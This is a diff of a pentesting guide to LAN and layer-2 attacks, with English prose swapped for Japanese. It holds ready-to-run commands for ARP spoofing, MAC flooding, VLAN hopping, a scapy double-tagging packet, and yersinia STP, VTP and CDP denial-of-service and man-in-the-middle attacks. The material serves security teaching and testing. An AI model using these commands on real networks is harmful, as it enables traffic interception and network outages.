`ping -b 255.255.255.255` +- `nmap`の`-PE`、`-PP`、`-PM`フラグを使用して、**ICMPv4エコー**、**タイムスタンプ**、および**サブネットマスクリクエスト**をそれぞれ送信しながらホスト発見を行います: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lanは、**ネットワークメッセージ**を通じてコンピュータを**起動する**ために使用されます。コンピュータを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後同じパケット内で**16回繰り返される**だけのパケットです。\ +この種のパケットは通常、**ethernet 0x0842**または**ポート9へのUDPパケット**で送信されます。\ +**[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信され(ブロードキャストMACが繰り返されるものになります)。 ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## ホストのスキャン -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +深くスキャンしたいすべてのIP(外部または内部)を発見したら、さまざまなアクションを実行できます。 ### TCP -- **Open** port: _SYN --> SYN/ACK --> RST_ -- **Closed** port: _SYN --> RST/ACK_ -- **Filtered** port: _SYN --> \[NO RESPONSE]_ -- **Filtered** port: _SYN --> ICMP message_ - +- **オープン**ポート: _SYN --> SYN/ACK --> RST_ +- **クローズド**ポート: _SYN --> RST/ACK_ +- **フィルタリングされた**ポート: _SYN --> \[NO RESPONSE]_ +- **フィルタリングされた**ポート: _SYN --> ICMPメッセージ_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +UDPポートをスキャンするための2つのオプションがあります: -- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +- **UDPパケット**を送信し、ポートが**閉じている**場合は_**ICMP到達不能**_の応答を確認します(いくつかのケースではICMPが**フィルタリング**されるため、ポートが閉じているか開いているかの情報は受け取れません)。 +- **サービス**からの応答を引き出すために**フォーマットされたデータグラム**を送信します(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされています)。**応答**を受け取った場合、ポートは**開いています**。 +**Nmap**は"-sV"を使用して両方のオプションを**混合**します(UDPスキャンは非常に遅いですが)、UDPスキャンはTCPスキャンよりも遅いことに注意してください: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` +### SCTPスキャン -### SCTP Scan +**SCTP (ストリーム制御伝送プロトコル)** は、**TCP (伝送制御プロトコル)** と **UDP (ユーザーデータグラムプロトコル)** と一緒に使用されるように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を促進することであり、**SS7 (信号システム7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、SS7信号をIPネットワーク上で輸送することを目的とした**SIGTRAN**プロトコルファミリーのコアコンポーネントです。 -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. - -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +**SCTP** のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、および **VxWorks** などのさまざまなオペレーティングシステムによって提供されており、通信およびネットワーキングの分野での広範な受け入れと有用性を示しています。 +nmapによって提供されるSCTPの2つの異なるスキャンは、_-sY_ と _-sZ_ です。 ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### IDSとIPSの回避 {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **より多くのnmapオプション** {{#ref}} nmap-summary-esp.md {{#endref}} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### 内部IPアドレスの明示 +**誤設定されたルーター、ファイアウォール、ネットワークデバイス**は、**非公開のソースアドレス**を使用してネットワークプローブに応答することがあります。**tcpdump**を利用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linux上で、**eth2インターフェース**でパケットをキャプチャできます。セットアップがNATまたはファイアウォールの背後にある場合、そのようなパケットはフィルタリングされる可能性が高いことに注意が必要です。 ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` +## スニッフィング -## Sniffing +スニッフィングを使用すると、キャプチャされたフレームやパケットをレビューすることで、IP範囲、サブネットサイズ、MACアドレス、およびホスト名の詳細を学ぶことができます。ネットワークが誤って構成されている場合やスイッチングファブリックがストレス下にある場合、攻撃者はパッシブネットワークスニッフィングを通じて機密情報をキャプチャすることができます。 -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. - -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +スイッチされたイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとあなたのMACアドレス宛てのデータのみが表示されます。 ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +リモートマシンからSSHセッションを介してWiresharkをGUIとして使用し、リアルタイムでパケットをキャプチャすることもできます。 ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - -### Bettercap - +### ベターキャップ ```bash net.sniff on net.sniff stats @@ -248,23 +216,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +明らかに。 -### Capturing credentials +### 認証情報のキャプチャ -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcapまたはライブインターフェースから認証情報を解析できます。 -## LAN attacks +## LAN攻撃 -### ARP spoofing +### ARPスプーフィング -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +ARPスプーフィングは、マシンのIPが私たちのデバイスのMACであることを示すために、無償のARPレスポンスを送信することです。これにより、被害者はARPテーブルを変更し、スプーフィングされたIPに接続したいときに私たちのマシンに連絡します。 #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** - ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` +### MAC Flooding - CAMオーバーフロー -### MAC Flooding - CAM overflow - -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +スイッチのCAMテーブルをオーバーフローさせるために、異なるソースMACアドレスを持つ多数のパケットを送信します。CAMテーブルが満杯になると、スイッチはハブのように動作し始め(すべてのトラフィックをブロードキャストします)。 ```bash macof -i ``` +現代のスイッチでは、この脆弱性は修正されています。 -In modern switches this vulnerability has been fixed. +### 802.1Q VLAN / DTP 攻撃 -### 802.1Q VLAN / DTP Attacks +#### ダイナミックトランク -#### Dynamic Trunking +**Dynamic Trunking Protocol (DTP)** は、トランクの自動システムを促進するために設計されたリンク層プロトコルであり、スイッチがトランクモード(Trunk)または非トランクモードのポートを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみトランクを手動で構成し、適切な文書化を確保することの重要性を強調します。 -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +デフォルトでは、スイッチポートはダイナミックオートモードで動作するように設定されており、隣接するスイッチからの要求があればトランクを開始する準備が整っています。セキュリティ上の懸念は、ペンテスターまたは攻撃者がスイッチに接続し、DTP Desirable フレームを送信してポートをトランクモードに強制する場合に生じます。このアクションにより、攻撃者はSTPフレーム分析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。 -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣し、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) はインターフェースを監視するために使用され、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードのみがVLANホッピング攻撃に対して免疫を持つ構成です。このツールはスイッチの脆弱性状態を評価します。 +ネットワークの脆弱性が特定された場合、_**Yersinia**_ ツールを使用してDTPプロトコルを介して「トランクを有効にする」ことができ、すべてのVLANからのパケットを観察することが可能になります。 ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -313,26 +273,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../images/image (269).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +VLANを列挙するために、スクリプト[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**を使用してDTP Desirableフレームを生成することも可能です。**いかなる状況でもスクリプトを中断しないでください。3秒ごとにDTP Desirableを注入します。** **スイッチ上で動的に作成されたトランクチャネルは5分間のみ存在します。5分後、トランクは切断されます。** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +**Access/Desirable (0x03)**は、DTPフレームがDesirableタイプであることを示し、ポートにTrunkモードに切り替えるよう指示します。また、**802.1Q/802.1Q (0xa5)**は、**802.1Q**カプセル化タイプを示します。 -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +STPフレームを分析することで、**VLAN 30とVLAN 60の存在について学びます。**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### 特定のVLANへの攻撃 +VLAN IDとIP値がわかれば、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\ +DHCPが利用できない場合は、_ifconfig_を使用して静的IPアドレスを設定します。 ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -365,31 +321,28 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` +#### 自動VLANホッパー -#### Automatic VLAN Hopper +**ダイナミックトランキングと仮想インターフェースを作成し、他のVLAN内のホストを発見する**という攻撃は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +#### ダブルタグ付け -#### Double Tagging +攻撃者が**被害者ホストのMAC、IP、およびVLAN IDの値**を知っている場合、彼は**フレームにダブルタグを付ける**ことを試み、その指定されたVLANと被害者のVLANを使用してパケットを送信することができます。**被害者は攻撃者に接続できないため、攻撃者にとって最良の選択肢はUDPを介して通信することです**。これにより、いくつかの興味深いアクションを実行できるプロトコル(SNMPなど)と通信できます。 -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). - -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセスできるIPを偽装してTCPポートスキャンを実行することです**(おそらくインターネットを介して)。その後、攻撃者は、被害者からのパケットを受信した場合、彼が所有する2番目のホストでスニッフィングを行うことができます。 ![](<../../images/image (190).png>) -To perform this attack you could use scapy: `pip install scapy` - +この攻撃を実行するには、scapyを使用できます: `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` - #### Lateral VLAN Segmentation Bypass -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +もし**直接接続されているスイッチにアクセスできる**場合、ネットワーク内で**VLANセグメンテーションをバイパスする**能力があります。単に**ポートをトランクモードに切り替え**(トランクとも呼ばれます)、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的に要求する(DHCP)か、静的に設定することができます。ケースによります。 {{#ref}} lateral-vlan-segmentation-bypass.md @@ -397,143 +350,126 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +ゲスト無線ネットワークなどの特定の環境では、**ポートアイソレーション(プライベートVLANとも呼ばれる)**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぎます。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を利用し、IPパケットがルーターを通じて同じネットワーク上の別のクライアントにルーティングされることを可能にします。 -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw. +攻撃は、**宛先クライアントのIPアドレスを持つパケットを作成し、ルーターのMACアドレスを使用する**ことによって実行されます。これにより、ルーターはパケットを誤ってターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。 -**Key Steps of the Attack:** +**攻撃の主要なステップ:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケット。 +2. **ルーターの動作を悪用:** 作成されたパケットがルーターに送信され、構成によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。 ### VTP Attacks -VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +VTP(VLANトランクプロトコル)はVLAN管理を集中化します。VLANデータベースの整合性を維持するためにリビジョン番号を利用し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の構成を採用し、自身のVLANデータベースを更新します。 #### VTP Domain Roles -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **VTPサーバー:** VLANを管理—作成、削除、変更します。ドメインメンバーにVTPアナウンスをブロードキャストします。 +- **VTPクライアント:** VTPアナウンスを受信し、自身のVLANデータベースを同期します。この役割はローカルVLAN構成の変更が制限されています。 +- **VTPトランスペアレント:** VTP更新に関与せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。 #### VTP Advertisement Types -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. -- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **サマリーアナウンス:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を含みます。 +- **サブセットアナウンス:** VLAN構成変更後に送信されます。 +- **アナウンスリクエスト:** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い構成リビジョン番号を検出した際に行われます。 -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +VTPの脆弱性は、VTPアナウンスがトランクポートを通じてのみ循環するため、トランクポートを介してのみ悪用可能です。DTP攻撃後のシナリオはVTPに移行する可能性があります。Yersiniaのようなツールは、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目的としたVTP攻撃を支援できます。 +注意: この議論はVTPバージョン1(VTPv1)に関するものです。 ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` +Yersiniaのグラフィカルモードで、VLANデータベースを削除するためにすべてのVTP VLANを削除するオプションを選択します。 -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +### STP攻撃 -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃に成功する可能性は低いです。** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +多くのBPDUs TCP(トポロジ変更通知)やConf(トポロジが作成されるときに送信されるBPDU)を送信すると、スイッチが過負荷になり、正しく動作しなくなります。 ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **STP TCP攻撃** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +TCPが送信されると、スイッチのCAMテーブルは15秒で削除されます。その後、この種のパケットを継続的に送信していると、CAMテーブルは継続的に(または15秒ごとに)再起動され、再起動されるとスイッチはハブのように動作します。 ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **STPルート攻撃** -#### **STP Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +攻撃者はスイッチの動作をシミュレートして、ネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、2つの異なるスイッチに接続されているときに興味深いです。\ +これは、実際のルートスイッチの実際の優先度よりも**優先度**値が低いと伝えるBPDUs CONFパケットを送信することによって行われます。 ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートになり、これらのスイッチ間のすべてのトラフィックが彼を通過します**(MITM攻撃が実行されます)。 ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### CDP攻撃 -### CDP Attacks +CISCO Discovery Protocol (CDP)は、CISCOデバイス間の通信に不可欠であり、**互いを識別し、設定の詳細を共有する**ことを可能にします。 -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +#### パッシブデータ収集 -#### Passive Data Collection +CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、モデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンの脆弱性をターゲットにするかもしれません。 -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. - -#### Inducing CDP Table Flooding - -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: +#### CDPテーブルフラッディングの誘発 +より攻撃的なアプローチは、正当なCISCOデバイスを装ってスイッチのメモリを圧倒することによってサービス拒否(DoS)攻撃を開始することです。以下は、テスト用に設計されたネットワークツールYersiniaを使用してそのような攻撃を開始するためのコマンドシーケンスです: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` +この攻撃中、スイッチのCPUとCDP隣接テーブルは大きな負担を受け、過剰なリソース消費によりしばしば**「ネットワーク麻痺」**と呼ばれる状態になります。 -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. - -#### CDP Impersonation Attack - +#### CDPなりすまし攻撃 ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +[**scapy**](https://github.com/secdev/scapy/)を使用することもできます。`scapy/contrib`パッケージをインストールすることを忘れないでください。 -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### VoIP攻撃とVoIP Hopperツール -### VoIP Attacks and the VoIP Hopper Tool +VoIP電話は、IoTデバイスとますます統合されており、特別な電話番号を通じてドアの解錠やサーモスタットの制御などの機能を提供します。しかし、この統合はセキュリティリスクをもたらす可能性があります。 -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境(Cisco、Avaya、Nortel、Alcatel-Lucent)でVoIP電話をエミュレートするように設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。 -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper**は、Cisco Discovery Protocol(CDP)用に3つのモードを提供します: -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **スニフモード**(`-c 0`):ネットワークパケットを分析してVLAN IDを特定します。 +2. **スプーフモード**(`-c 1`):実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。 +3. **事前作成パケットモード**(`-c 2`):特定のCisco IP電話モデルのパケットと同一のパケットを送信します。 -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +速度のために推奨されるモードは3番目です。次のことを指定する必要があります: -The preferred mode for speed is the third one. It requires specifying: +- 攻撃者のネットワークインターフェース(`-i`パラメータ)。 +- エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式に従うこと(例:SEPの後にMACアドレス)。 -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +企業環境では、既存のVoIPデバイスを模倣するために、次のことを行うことがあります: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- 電話のMACラベルを確認する。 +- 電話のディスプレイ設定をナビゲートしてモデル情報を表示する。 +- VoIPデバイスをラップトップに接続し、Wiresharkを使用してCDPリクエストを観察する。 